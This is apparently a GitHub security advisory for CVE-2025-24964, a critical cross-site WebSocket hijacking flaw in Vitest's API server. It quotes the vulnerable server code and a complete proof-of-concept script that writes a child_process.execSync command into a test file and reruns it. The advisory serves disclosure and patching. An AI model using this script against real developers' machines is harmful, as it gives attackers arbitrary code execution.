Skip to content

Remote Code Execution when accessing a malicious website while Vitest API server is listening

Critical
sheremet-va published GHSA-9crc-q9x8-hgqq Feb 4, 2025

Package

npm vitest (npm)

Affected versions

<=0.0.125,>=1.0.0, <=1.6.0
>=2.0.0, <=2.1.8
>=3.0.0, <=3.0.4

Patched versions

>=1.6.1,<2.0.0
>=2.1.9,<3.0.0
>=3.0.5

Description

Summary

Arbitrary remote Code Execution when accessing a malicious website while Vitest API server is listening by Cross-site WebSocket hijacking (CSWSH) attacks.

Details

When api option is enabled (Vitest UI enables it), Vitest starts a WebSocket server. This WebSocket server did not check Origin header and did not have any authorization mechanism and was vulnerable to CSWSH attacks.

server.httpServer?.on('upgrade', (request, socket, head) => {
if (!request.url) {
return
}
const { pathname } = new URL(request.url, 'http://localhost')
if (pathname !== API_PATH) {
return
}
wss.handleUpgrade(request, socket, head, (ws) => {
wss.emit('connection', ws, request)
setupClient(ws)
})
})

This WebSocket server has saveTestFile API that can edit a test file and rerun API that can rerun the tests. An attacker can execute arbitrary code by injecting a code in a test file by the saveTestFile API and then running that file by calling the rerun API.

async saveTestFile(id, content) {
if (!ctx.state.filesMap.has(id) || !existsSync(id)) {
throw new Error(
`Test file "${id}" was not registered, so it cannot be updated using the API.`,
)
}
return fs.writeFile(id, content, 'utf-8')
},
async rerun(files, resetTestNamePattern) {
await ctx.rerunFiles(files, undefined, true, resetTestNamePattern)
},

PoC

  1. Open Vitest UI.
  2. Access a malicious web site with the script below.
  3. If you have calc executable in PATH env var (you'll likely have it if you are running on Windows), that application will be executed.
// code from https://github.com/WebReflection/flatted
const Flatted=function(n){"use strict";function t(n){return t="function"==typeof Symbol&&"symbol"==typeof Symbol.iterator?function(n){return typeof n}:function(n){return n&&"function"==typeof Symbol&&n.constructor===Symbol&&n!==Symbol.prototype?"symbol":typeof n},t(n)}var r=JSON.parse,e=JSON.stringify,o=Object.keys,u=String,f="string",i={},c="object",a=function(n,t){return t},l=function(n){return n instanceof u?u(n):n},s=function(n,r){return t(r)===f?new u(r):r},y=function n(r,e,f,a){for(var l=[],s=o(f),y=s.length,p=0;p<y;p++){var v=s[p],S=f[v];if(S instanceof u){var b=r[S];t(b)!==c||e.has(b)?f[v]=a.call(f,v,b):(e.add(b),f[v]=i,l.push({k:v,a:[r,e,b,a]}))}else f[v]!==i&&(f[v]=a.call(f,v,S))}for(var m=l.length,g=0;g<m;g++){var h=l[g],O=h.k,d=h.a;f[O]=a.call(f,O,n.apply(null,d))}return f},p=function(n,t,r){var e=u(t.push(r)-1);return n.set(r,e),e},v=function(n,e){var o=r(n,s).map(l),u=o[0],f=e||a,i=t(u)===c&&u?y(o,new Set,u,f):u;return f.call({"":i},"",i)},S=function(n,r,o){for(var u=r&&t(r)===c?function(n,t){return""===n||-1<r.indexOf(n)?t:void 0}:r||a,i=new Map,l=[],s=[],y=+p(i,l,u.call({"":n},"",n)),v=!y;y<l.length;)v=!0,s[y]=e(l[y++],S,o);return"["+s.join(",")+"]";function S(n,r){if(v)return v=!v,r;var e=u.call(this,n,r);switch(t(e)){case c:if(null===e)return e;case f:return i.get(e)||p(i,l,e)}return e}};return n.fromJSON=function(n){return v(e(n))},n.parse=v,n.stringify=S,n.toJSON=function(n){return r(S(n))},n}({});

// actual code to run
const ws = new WebSocket('ws://localhost:51204/__vitest_api__')
ws.addEventListener('message', e => {
    console.log(e.data)
})
ws.addEventListener('open', () => {
    ws.send(Flatted.stringify({ t: 'q', i: crypto.randomUUID(), m: "getFiles", a: [] }))

    const testFilePath = "/path/to/test-file/basic.test.ts" // use a test file returned from the response of "getFiles"

    // edit file content to inject command execution
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "saveTestFile",
      a: [testFilePath, "import child_process from 'child_process';child_process.execSync('calc')"]
    }))
    // rerun the tests to run the injected command execution code
    ws.send(Flatted.stringify({
      t: 'q',
      i: crypto.randomUUID(),
      m: "rerun",
      a: [testFilePath]
    }))
})

Impact

This vulnerability can result in remote code execution for users that are using Vitest serve API.

Severity

Critical

CVSS overall score

This score calculates overall vulnerability severity from 0 to 10 and is based on the Common Vulnerability Scoring System (CVSS).
/ 10

CVSS v3 base metrics

Attack vector
Network
Attack complexity
Low
Privileges required
None
User interaction
Required
Scope
Changed
Confidentiality
High
Integrity
High
Availability
High

CVSS v3 base metrics

Attack vector: More severe the more the remote (logically and physically) an attacker can be in order to exploit the vulnerability.
Attack complexity: More severe for the least complex attacks.
Privileges required: More severe if no privileges are required.
User interaction: More severe when no user interaction is required.
Scope: More severe when a scope change occurs, e.g. one vulnerable component impacts resources in components beyond its security scope.
Confidentiality: More severe when loss of data confidentiality is highest, measuring the level of data access available to an unauthorized user.
Integrity: More severe when loss of data integrity is the highest, measuring the consequence of data modification possible by an unauthorized user.
Availability: More severe when the loss of impacted component availability is highest.
CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:H/A:H

CVE ID

CVE-2025-24964

Weaknesses

Credits